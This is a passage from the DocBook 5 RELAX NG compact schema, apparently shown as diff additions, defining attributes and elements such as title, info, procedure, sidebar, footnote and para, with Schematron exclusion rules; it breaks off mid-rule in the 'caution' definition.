Norman Walsh, Sun Microsystems, Inc., and the +# Organization for the Advancement of Structured Information +# Standards (OASIS). +# +# Release: $Id: docbook.rnc,v 1.8 2006/04/12 17:44:51 nwalsh Exp $ +# +# Permission to use, copy, modify and distribute the DocBook schema +# and its accompanying documentation for any purpose and without fee +# is hereby granted in perpetuity, provided that the above copyright +# notice and this paragraph appear in all copies. The copyright +# holders make no representation about the suitability of the schema +# for any purpose. It is provided "as is" without expressed or implied +# warranty. +# +# If you modify the DocBook schema in any way, label your schema as a +# variant of DocBook. See the reference documentation +# (http://docbook.org/tdg5/en/html/ch05.html#s-notdocbook) +# for more information. +# +# Please direct all questions, bug reports, or suggestions for changes +# to the docbook@lists.oasis-open.org mailing list. For more +# information, see http://www.oasis-open.org/docbook/. +# +# ====================================================================== +start = + (db.set + | db.book + | db.divisions + | db.components + | db.navigation.components + | db.section + | db.para) + | (db.sect1 | db.sect2 | db.sect3 | db.sect4 | db.sect5) + | (db.refentry | db.refsection) + | (db.refsect1 | db.refsect2 | db.refsect3) + | db.setindex +div { + db._any.attribute = + + ## Any attribute including in any attribute in any namespace. + attribute * { text } + db._any = + + ## Any element from almost any namespace + element * - (db:* | html:*) { + (db._any.attribute | text | db._any)* + } +} +db.effectivity.attributes = + + ## Designates the computer or chip architecture to which the element applies + attribute arch { text }?, + + ## provides a standard place for application-specific effectivity + attribute condition { text }?, + + ## Indicates standards conformance characteristics of the element + attribute conformance { text }?, + + ## Indicates the operating system to which the element is applicable + attribute os { text }?, + + ## Indicates the editorial revision to which the element belongs + attribute revision { text }?, + + ## Indicates something about the security level associated with the element to which it applies + attribute security { text }?, + + ## Indicates the level of user experience for which the element applies + attribute userlevel { text }?, + + ## Indicates the computer vendor to which the element applies. + attribute vendor { text }?, + + ## Indicates the word size (width in bits) of the computer architecture to which the element applies + attribute wordsize { text }? +db.endterm.attribute = + + ## Points to the element whose content is to be used as the text of the link + attribute endterm { xsd:IDREF } +db.linkend.attribute = + + ## Points to an internal link target by identifying the value of its xml:id attribute + attribute linkend { xsd:IDREF } +db.linkends.attribute = + + ## Points to one or more internal link targets by identifying the value of their xml:id attributes + attribute linkends { xsd:IDREFS } +db.xlink.href.attribute = + + ## Identifies a link target with a URI + attribute xlink:href { text } +db.xlink.type.attribute = + + ## Identifies the XLink link type + attribute xlink:type { + + ## An XLink simple link + "simple" + } +db.xlink.role.attribute = + + ## Identifies the XLink role of the link + attribute xlink:role { xsd:anyURI } +db.xlink.arcrole.attribute = + + ## Identifies the XLink arcrole of the link + attribute xlink:arcrole { xsd:anyURI } +db.xlink.title.attribute = + + ## Identifies the XLink title of the link + attribute xlink:title { text }? +db.xlink.show.enumeration = + + ## An application traversing to the ending resource should load it in a new window, frame, pane, or other relevant presentation context. + "new" + | + ## An application traversing to the ending resource should load the resource in the same window, frame, pane, or other relevant presentation context in which the starting resource was loaded. + "replace" + | + ## An application traversing to the ending resource should load its presentation in place of the presentation of the starting resource. + "embed" + | + ## The behavior of an application traversing to the ending resource is unconstrained by XLink. The application should look for other markup present in the link to determine the appropriate behavior. + "other" + | + ## The behavior of an application traversing to the ending resource is unconstrained by this specification. No other markup is present to help the application determine the appropriate behavior. + "none" +db.xlink.show.attribute = + + ## Identifies the XLink show behavior of the link + attribute xlink:show { db.xlink.show.enumeration } +db.xlink.actuate.enumeration = + + ## An application should traverse to the ending resource immediately on loading the starting resource. + "onLoad" + | + ## An application should traverse from the starting resource to the ending resource only on a post-loading event triggered for the purpose of traversal. + "onRequest" + | + ## The behavior of an application traversing to the ending resource is unconstrained by this specification. The application should look for other markup present in the link to determine the appropriate behavior. + "other" + | + ## The behavior of an application traversing to the ending resource is unconstrained by this specification. No other markup is present to help the application determine the appropriate behavior. + "none" +db.xlink.actuate.attribute = + + ## Identifies the XLink actuate behavior of the link + attribute xlink:actuate { db.xlink.actuate.enumeration } +db.href.attribute = + db.xlink.href.attribute + & db.xlink.type.attribute? + & db.xlink.role.attribute? + & db.xlink.arcrole.attribute? + & db.xlink.title.attribute? + & db.xlink.show.attribute? + & db.xlink.actuate.attribute? +db.xml.id.attribute = + + ## Identifies the unique ID value of the element + attribute xml:id { xsd:ID } +db.version.attribute = + + ## Specifies the DocBook version of the element and its descendants + attribute version { text } +db.xml.lang.attribute = + + ## Specifies the natural language of the element and its descendants + attribute xml:lang { text } +db.xml.base.attribute = + + ## Specifies the base URI of the element and its descendants + attribute xml:base { text } +db.remap.attribute = + + ## Provides the name or similar semantic identifier assigned to the content in some previous markup scheme + attribute remap { text } +db.xreflabel.attribute = + + ## Provides the text that is to be generated for a cross reference to the element + attribute xreflabel { text } +db.xrefstyle.attribute = + + ## Specifies a keyword or keywords identifying additional style information + attribute xrefstyle { text } +db.revisionflag.enumeration = + + ## The element has been changed. + "changed" + | + ## The element is new (has been added to the document). + "added" + | + ## The element has been deleted. + "deleted" + | + ## Explicitly turns off revision markup for this element. + "off" +db.revisionflag.attribute = + + ## Identifies the revision status of the element + attribute revisionflag { db.revisionflag.enumeration } +db.dir.enumeration = + + ## Left-to-right text + "ltr" + | + ## Right-to-left text + "rtl" + | + ## Left-to-right override + "lro" + | + ## Right-to-left override + "rlo" +db.dir.attribute = + + ## Identifies the direction of text in an element + attribute dir { db.dir.enumeration } +db.common.attributes = + db.xml.id.attribute? + & db.version.attribute? + & db.xml.lang.attribute? + & db.xml.base.attribute? + & db.remap.attribute? + & db.xreflabel.attribute? + & db.revisionflag.attribute? + & db.dir.attribute? + & db.effectivity.attributes + & db.annotations.attribute? +db.common.idreq.attributes = + db.xml.id.attribute + & db.version.attribute? + & db.xml.lang.attribute? + & db.xml.base.attribute? + & db.remap.attribute? + & db.xreflabel.attribute? + & db.revisionflag.attribute? + & db.dir.attribute? + & db.effectivity.attributes + & db.annotations.attribute? +db.common.linking.attributes = + (db.linkend.attribute | db.href.attribute)? +db.common.req.linking.attributes = + db.linkend.attribute | db.href.attribute +db.common.data.attributes = + + ## Specifies the format of the data + attribute format { text }?, + ( + ## Indentifies the location of the data by URI + attribute fileref { xsd:anyURI } + | + ## Identifies the location of the data by external identifier (entity name) + attribute entityref { xsd:ENTITY }) +db.verbatim.continuation.enumeration = + + ## Line numbering continues from the immediately preceding element with the same name. + "continues" + | + ## Line numbering restarts (begins at 1, usually). + "restarts" +db.verbatim.continuation.attribute = + + ## Determines whether line numbering continues from the previous element or restarts. + attribute continuation { db.verbatim.continuation.enumeration } +db.verbatim.linenumbering.enumeration = + + ## Lines are numbered. + "numbered" + | + ## Lines are not numbered. + "unnumbered" +db.verbatim.linenumbering.attribute = + + ## Determines whether lines are numbered. + attribute linenumbering { db.verbatim.linenumbering.enumeration } +db.verbatim.startinglinenumber.attribute = + + ## Specifies the initial line number. + attribute startinglinenumber { xsd:integer } +db.verbatim.language.attribute = + + ## Identifies the language (i.e. programming language) of the verbatim content. + attribute language { text } +db.verbatim.xml.space.attribute = + + ## Can be used to indicate explicitly that whitespace in the verbatim environment is preserved. Whitespace must always be preserved in verbatim environments whether this attribute is specified or not. + attribute xml:space { + + ## Whitespace must be preserved. + "preserve" + } +db.verbatim.attributes = + db.verbatim.continuation.attribute? + & db.verbatim.linenumbering.attribute? + & db.verbatim.startinglinenumber.attribute? + & db.verbatim.language.attribute? + & db.verbatim.xml.space.attribute? +db.label.attribute = + + ## Specifies an identifying string for presentation purposes + attribute label { text } +db.width.characters.attribute = + + ## Specifies the width (in characters) of the element + attribute width { xsd:integer } +db.spacing.enumeration = + + ## The spacing should be "compact". + "compact" + | + ## The spacing should be "normal". + "normal" +db.spacing.attribute = + + ## Specifies (a hint about) the spacing of the content + attribute spacing { db.spacing.enumeration } +db.pgwide.enumeration = + + ## The element should be rendered in the current text flow (with the flow column width). + "0" + | + ## The element should be rendered across the full text page. + "1" +db.pgwide.attribute = + + ## Indicates if the element is rendered across the column or the page + attribute pgwide { db.pgwide.enumeration } +db.language.attribute = + + ## Identifies the language (i.e. programming language) of the content. + attribute language { text } +db.performance.enumeration = + + ## The content describes an optional step or steps. + "optional" + | + ## The content describes a required step or steps. + "required" +db.performance.attribute = + + ## Specifies if the content is required or optional. + attribute performance { db.performance.enumeration } +db.floatstyle.attribute = + + ## Specifies style information to be used when rendering the float + attribute floatstyle { text } +db.width.attribute = + + ## Specifies the width of the element + attribute width { text } +db.depth.attribute = + + ## Specifies the depth of the element + attribute depth { text } +db.contentwidth.attribute = + + ## Specifies the width of the content rectangle + attribute contentwidth { text } +db.contentdepth.attribute = + + ## Specifies the depth of the content rectangle + attribute contentdepth { text } +db.scalefit.enumeration = + + ## False (do not scale-to-fit; anamorphic scaling may occur) + "0" + | + ## True (scale-to-fit; anamorphic scaling is forbidden) + "1" +db.scale.attribute = + + ## Specifies the scaling factor + attribute scale { text } +db.halign.enumeration = + + ## Centered horizontally + "center" + | + ## Aligned horizontally on the specified character + "char" + | + ## Fully justified (left and right margins or edges) + "justify" + | + ## Left aligned + "left" + | + ## Right aligned + "right" +db.valign.enumeration = + + ## Aligned on the bottom of the region + "bottom" + | + ## Centered vertically + "middle" + | + ## Aligned on the top of the region + "top" +db.biblio.class.enumeration = + + ## A document object identifier. + "doi" + | + ## An international standard book number. + "isbn" + | + ## An international standard technical report number (ISO 10444). + "isrn" + | + ## An international standard serial number. + "issn" + | + ## A Library of Congress reference number. + "libraryofcongress" + | + ## A publication number (an internal number or possibly organizational standard). + "pubsnumber" + | + ## A Uniform Resource Identifier + "uri" +db.biblio.class-enum.attribute = + + ## Identifies the kind of bibliographic identifier + attribute class { db.biblio.class.enumeration }? +db.biblio.class-other.attribute = + + ## Identifies the nature of the non-standard bibliographic identifier + attribute otherclass { xsd:NMTOKEN } +db.biblio.class-other.attributes = + + ## Identifies the kind of bibliographic identifier + attribute class { + + ## Indicates that the identifier is some 'other' kind. + "other" + } + & db.biblio.class-other.attribute +db.biblio.class.attribute = + db.biblio.class-enum.attribute | db.biblio.class-other.attributes +db.ubiq.inlines = + (db.inlinemediaobject + | db.remark + | db.superscript + | db.subscript + | db.link.inlines + | db.alt) + | db.annotation + | db.indexterm +db._text = (text | db.ubiq.inlines | db._phrase | db.replaceable)* +db._title = db.title? & db.titleabbrev? & db.subtitle? +db._title.req = db.title & db.titleabbrev? & db.subtitle? +db._title.only = db.title? & db.titleabbrev? +db._title.onlyreq = db.title & db.titleabbrev? +db._info = (db._title.req?, db.titleforbidden.info?) | db.info? +db._info.title.req = + (db._title.req, db.titleforbidden.info?) | db.titlereq.info +db._info.title.only = + (db._title.only, db.titleforbidden.info?) | db.titleonly.info +db._info.title.onlyreq = + (db._title.onlyreq, db.titleforbidden.info?) | db.titleonlyreq.info +db._info.title.forbidden = db.titleforbidden.info? +db.all.inlines = + text + | db.ubiq.inlines + | db.general.inlines + | db.domain.inlines + | db.extension.inlines +db.general.inlines = + db.publishing.inlines + | db.product.inlines + | db.bibliography.inlines + | db.graphic.inlines + | db.indexing.inlines + | db.link.inlines +db.domain.inlines = + (db.technical.inlines + | db.error.inlines + | db.os.inlines + | db.programming.inlines + | db.markup.inlines + | db.gui.inlines + | db.keyboard.inlines) + | db.math.inlines +db.technical.inlines = + (db.replaceable + | db.systemitem + | db.option + | db.optional + | db.package + | db.parameter + | db.property + | db.termdef) + | db.nonterminal +db.error.inlines = + db.errorcode | db.errortext | db.errorname | db.errortype +db.oo.inlines = db.ooclass | db.ooexception | db.oointerface +db.programming.inlines = + db.function + | db.parameter + | db.varname + | db.returnvalue + | db.type + | db.classname + | db.exceptionname + | db.interfacename + | db.methodname + | db.modifier + | db.initializer + | db.oo.inlines +db.product.inlines = + db.productnumber + | db.productname + | db.database + | db.application + | db.hardware + | db.trademark +db.os.inlines = + db.prompt + | db.envar + | db.filename + | db.command + | db.computeroutput + | db.userinput +db.markup.inlines = + db.tag + | db.markup + | db.token + | db.symbol + | db.literal + | db.code + | db.constant + | db.email + | db.uri +db.bibliography.inlines = + db.citation + | db.citerefentry + | db.citetitle + | db.citebiblioid + | db.author + | db.personname + | db.orgname + | db.editor +db.publishing.inlines = + (db.abbrev + | db.acronym + | db.date + | db.emphasis + | db.footnote + | db.footnoteref + | db.foreignphrase + | db.phrase + | db.quote + | db.subscript + | db.superscript + | db.wordasword) + | db.glossary.inlines + | db.coref +db.graphic.inlines = db.inlinemediaobject +db.indexing.inlines = notAllowed | db.indexterm +db.gui.inlines = + db.guiicon + | db.guibutton + | db.guimenuitem + | db.guimenu + | db.guisubmenu + | db.guilabel + | db.menuchoice + | db.mousebutton +db.keyboard.inlines = + db.keycombo + | db.keycap + | db.keycode + | db.keysym + | db.shortcut + | db.accel +db.link.inlines = + (db.xref | db.link | db.olink | db.anchor) | db.biblioref +db.extension.inlines = notAllowed +db.nopara.blocks = + (db.list.blocks + | db.admonition.blocks + | db.formal.blocks + | db.informal.blocks + | db.publishing.blocks + | db.graphic.blocks + | db.technical.blocks + | db.verbatim.blocks + | db.synopsis.blocks + | db.bridgehead + | db.remark + | db.revhistory) + | db.indexterm + | db.math.blocks +db.para.blocks = db.anchor | db.para | db.formalpara | db.simpara +db.all.blocks = + (db.nopara.blocks | db.para.blocks | db.extension.blocks) + | db.annotation +db.formal.blocks = db.example | db.figure | db.table +db.informal.blocks = + db.informalexample | db.informalfigure | db.informaltable +db.publishing.blocks = + db.sidebar | db.blockquote | db.address | db.epigraph +db.graphic.blocks = db.mediaobject | db.screenshot +db.technical.blocks = + db.procedure + | db.task + | (db.productionset | db.constraintdef) + | db.msgset +db.admonition.blocks = + db.caution | db.important | db.note | db.tip | db.warning +db.list.blocks = + (db.itemizedlist + | db.orderedlist + | db.procedure + | db.simplelist + | db.variablelist + | db.segmentedlist) + | db.glosslist + | db.bibliolist + | db.calloutlist + | db.qandaset +db.verbatim.blocks = + (db.programlisting | db.screen | db.literallayout | db.synopsis) + | (db.programlistingco | db.screenco) +db.synopsis.blocks = + db.cmdsynopsis + | db.funcsynopsis + | db.classsynopsis + | db.methodsynopsis + | db.constructorsynopsis + | db.destructorsynopsis + | db.fieldsynopsis +db.extension.blocks = notAllowed +db.info.elements = + (db.abstract + | db.address + | db.artpagenums + | db.author + | db.authorgroup + | db.authorinitials + | db.bibliocoverage + | db.biblioid + | db.bibliosource + | db.collab + | db.confgroup + | db.contractsponsor + | db.contractnum + | db.copyright + | db.cover + | db.date + | db.edition + | db.editor + | db.issuenum + | db.keywordset + | db.legalnotice + | db.mediaobject + | db.orgname + | db.othercredit + | db.pagenums + | db.printhistory + | db.productname + | db.productnumber + | db.pubdate + | db.publisher + | db.publishername + | db.releaseinfo + | db.revhistory + | db.seriesvolnums + | db.subjectset + | db.volumenum) + | db.annotation + | db.extendedlink + | (db.bibliomisc | db.bibliomset | db.bibliorelation | db.biblioset) + | db.itermset +db.bibliographic.elements = + db.info.elements + | db.abbrev + | db.citerefentry + | db.citetitle + | db.citebiblioid + | db.personname + | db.subtitle + | db.title +div { + db.title.role.attribute = attribute role { text } + db.title.attlist = + db.title.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.title = + + ## The text of the title of a section of a document or of a formal block-level element + element title { db.title.attlist, db.all.inlines* } +} +div { + db.titleabbrev.role.attribute = attribute role { text } + db.titleabbrev.attlist = + db.titleabbrev.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.titleabbrev = + + ## The abbreviation of a title + element titleabbrev { db.titleabbrev.attlist, db.all.inlines* } +} +div { + db.subtitle.role.attribute = attribute role { text } + db.subtitle.attlist = + db.subtitle.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.subtitle = + + ## The subtitle of a document + element subtitle { db.subtitle.attlist, db.all.inlines* } +} +div { + db.info.role.attribute = attribute role { text } + db.info.attlist = db.info.role.attribute? & db.common.attributes + db.info = + + ## A wrapper for information about a component or other block + element info { db.info.attlist, (db._title & db.info.elements*) } +} +div { + db.titlereq.info.role.attribute = attribute role { text } + db.titlereq.info.attlist = + db.titlereq.info.role.attribute? & db.common.attributes + db.titlereq.info = + + ## A wrapper for information about a component or other block with a required title + element info { + db.titlereq.info.attlist, (db._title.req & db.info.elements*) + } +} +div { + db.titleonly.info.role.attribute = attribute role { text } + db.titleonly.info.attlist = + db.titleonly.info.role.attribute? & db.common.attributes + db.titleonly.info = + + ## A wrapper for information about a component or other block with only a title + element info { + db.titleonly.info.attlist, (db._title.only & db.info.elements*) + } +} +div { + db.titleonlyreq.info.role.attribute = attribute role { text } + db.titleonlyreq.info.attlist = + db.titleonlyreq.info.role.attribute? & db.common.attributes + db.titleonlyreq.info = + + ## A wrapper for information about a component or other block with only a required title + element info { + db.titleonlyreq.info.attlist, + (db._title.onlyreq & db.info.elements*) + } +} +div { + db.titleforbidden.info.role.attribute = attribute role { text } + db.titleforbidden.info.attlist = + db.titleforbidden.info.role.attribute? & db.common.attributes + db.titleforbidden.info = + + ## A wrapper for information about a component or other block without a title + element info { db.titleforbidden.info.attlist, db.info.elements* } +} +div { + db.subjectset.role.attribute = attribute role { text } + db.subjectset.scheme.attribute = + + ## Identifies the controlled vocabulary used by this set's terms + attribute scheme { xsd:NMTOKEN } + db.subjectset.attlist = + db.subjectset.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.subjectset.scheme.attribute? + db.subjectset = + + ## A set of terms describing the subject matter of a document + element subjectset { db.subjectset.attlist, db.subject+ } +} +div { + db.subject.role.attribute = attribute role { text } + db.subject.weight.attribute = + + ## Specifies a ranking for this subject relative to other subjects in the same set + attribute weight { text } + db.subject.attlist = + db.subject.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.subject.weight.attribute? + db.subject = + + ## One of a group of terms describing the subject matter of a document + element subject { db.subject.attlist, db.subjectterm+ } +} +div { + db.subjectterm.role.attribute = attribute role { text } + db.subjectterm.attlist = + db.subjectterm.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.subjectterm = + + ## A term in a group of terms describing the subject matter of a document + element subjectterm { db.subjectterm.attlist, text } +} +div { + db.keywordset.role.attribute = attribute role { text } + db.keywordset.attlist = + db.keywordset.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.keywordset = + + ## A set of keywords describing the content of a document + element keywordset { db.keywordset.attlist, db.keyword+ } +} +div { + db.keyword.role.attribute = attribute role { text } + db.keyword.attlist = + db.keyword.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.keyword = + + ## One of a set of keywords describing the content of a document + element keyword { db.keyword.attlist, text } +} +db.table.choice = notAllowed | db.cals.table | db.html.table +db.informaltable.choice = + notAllowed | db.cals.informaltable | db.html.informaltable +db.table = db.table.choice +db.informaltable = db.informaltable.choice +div { + db.procedure.role.attribute = attribute role { text } + db.procedure.attlist = + db.procedure.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.procedure.info = db._info.title.only + db.procedure = + + ## A list of operations to be performed in a well-defined sequence + element procedure { + db.procedure.attlist, db.procedure.info, db.all.blocks*, db.step+ + } +} +div { + db.step.role.attribute = attribute role { text } + db.step.attlist = + db.step.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.performance.attribute? + db.step.info = db._info.title.only + # + # This content model is blocks*, step|stepalternatives, blocks* but + # expressed this way it avoids UPA issues in XSD and DTD versions + db.step = + + ## A unit of action in a procedure + element step { + db.step.attlist, + db.step.info, + ((db.all.blocks+, + ((db.substeps | db.stepalternatives), db.all.blocks*)?) + | ((db.substeps | db.stepalternatives), db.all.blocks*)) + } +} +div { + db.stepalternatives.role.attribute = attribute role { text } + db.stepalternatives.attlist = + db.stepalternatives.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.performance.attribute? + db.stepalternatives.info = db._info.title.forbidden + db.stepalternatives = + + ## Alternative steps in a procedure + element stepalternatives { + db.stepalternatives.attlist, db.stepalternatives.info, db.step+ + } +} +div { + db.substeps.role.attribute = attribute role { text } + db.substeps.attlist = + db.substeps.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.performance.attribute? + db.substeps = + + ## A wrapper for steps that occur within steps in a procedure + element substeps { db.substeps.attlist, db.step+ } +} +div { + db.sidebar.role.attribute = attribute role { text } + db.sidebar.attlist = + db.sidebar.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.sidebar.info = db._info.title.only + db.sidebar = + + ## A portion of a document that is isolated from the main narrative flow + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:sidebar" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:sidebar)" + "sidebar must not occur in the descendants of sidebar" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element sidebar { + db.sidebar.attlist, db.sidebar.info, db.all.blocks+ + } +} +div { + db.abstract.role.attribute = attribute role { text } + db.abstract.attlist = + db.abstract.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.abstract.info = db._info.title.only + db.abstract = + + ## A summary + element abstract { + db.abstract.attlist, db.abstract.info, db.para.blocks+ + } +} +div { + db.personblurb.role.attribute = attribute role { text } + db.personblurb.attlist = + db.personblurb.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.personblurb.info = db._info.title.only + db.personblurb = + + ## A short description or note about a person + element personblurb { + db.personblurb.attlist, db.personblurb.info, db.para.blocks+ + } +} +div { + db.blockquote.role.attribute = attribute role { text } + db.blockquote.attlist = + db.blockquote.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.blockquote.info = db._info.title.only + db.blockquote = + + ## A quotation set off from the main text + element blockquote { + db.blockquote.attlist, + db.blockquote.info, + db.attribution?, + (db.para.blocks | db.literallayout)+ + } +} +div { + db.attribution.role.attribute = attribute role { text } + db.attribution.attlist = + db.attribution.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.attribution = + + ## The source of a block quote or epigraph + element attribution { + db.attribution.attlist, + (db._text | db.personname | db.citetitle | db.citation)* + } +} +div { + db.bridgehead.renderas.enumeration = + + ## Render as a first-level section + "sect1" + | + ## Render as a second-level section + "sect2" + | + ## Render as a third-level section + "sect3" + | + ## Render as a fourth-level section + "sect4" + | + ## Render as a fifth-level section + "sect5" + db.bridgehead.renderas-enum.attribute = + + ## Indicates how the bridge head should be rendered + attribute renderas { db.bridgehead.renderas.enumeration }? + db.bridgehead.renderas-other.attribute = + + ## Identifies the nature of the non-standard rendering + attribute otherrenderas { xsd:NMTOKEN } + db.bridgehead.renderas-other.attributes = + + ## Indicates how the bridge head should be rendered + attribute renderas { + + ## Identifies a non-standard rendering + "other" + } + & db.bridgehead.renderas-other.attribute + db.bridgehead.renderas.attribute = + db.bridgehead.renderas-enum.attribute + | db.bridgehead.renderas-other.attributes + db.bridgehead.role.attribute = attribute role { text } + db.bridgehead.attlist = + db.bridgehead.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.bridgehead.renderas.attribute? + db.bridgehead = + + ## A free-floating heading + element bridgehead { db.bridgehead.attlist, db.all.inlines* } +} +div { + db.remark.role.attribute = attribute role { text } + db.remark.attlist = + db.remark.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.remark = + + ## A remark (or comment) intended for presentation in a draft manuscript + element remark { db.remark.attlist, db._text } +} +div { + db.epigraph.role.attribute = attribute role { text } + db.epigraph.attlist = + db.epigraph.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.epigraph.info = db._info.title.forbidden + db.epigraph = + + ## A short inscription at the beginning of a document or component + element epigraph { + db.epigraph.attlist, + db.epigraph.info, + db.attribution?, + (db.para.blocks | db.literallayout)+ + } +} +div { + db.footnote.role.attribute = attribute role { text } + db.footnote.label.attribute = + + ## Identifies the desired footnote mark + attribute label { xsd:NMTOKEN } + db.footnote.attlist = + db.footnote.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.footnote.label.attribute? + db.footnote = + + ## A footnote + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:footnote)" + "footnote must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:example)" + "example must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:figure)" + "figure must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:caution)" + "caution must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:important)" + "important must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:note)" + "note must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:tip)" + "tip must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:warning)" + "warning must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:indexterm)" + "indexterm must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:indexterm)" + "indexterm must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:indexterm)" + "indexterm must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:sidebar)" + "sidebar must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:task)" + "task must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnote" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:epigraph)" + "epigraph must not occur in the descendants of footnote" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element footnote { db.footnote.attlist, db.all.blocks+ } +} +div { + db.formalpara.role.attribute = attribute role { text } + db.formalpara.attlist = + db.formalpara.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.formalpara.info = db._info.title.onlyreq + db.formalpara = + + ## A paragraph with a title + element formalpara { + db.formalpara.attlist, + db.formalpara.info, + db.indexing.inlines*, + db.para + } +} +div { + db.para.role.attribute = attribute role { text } + db.para.attlist = + db.para.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.para.info = db._info.title.forbidden + db.para = + + ## A paragraph + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:para" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element para { + db.para.attlist, + db.para.info, + (db.all.inlines | db.nopara.blocks)* + } +} +div { + db.simpara.role.attribute = attribute role { text } + db.simpara.attlist = + db.simpara.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.simpara.info = db._info.title.forbidden + db.simpara = + + ## A paragraph that contains only text and inline markup, no block elements + element simpara { + db.simpara.attlist, db.simpara.info, db.all.inlines* + } +} +db.admonition.contentmodel = db._info.title.only, db.all.blocks+ +div { + db.caution.role.attribute = attribute role { text } + db.caution.attlist = + db.caution.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.caution = + + ## A note of caution + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caution" + "\x{a}" ~ + " " + s:assert [ + test = 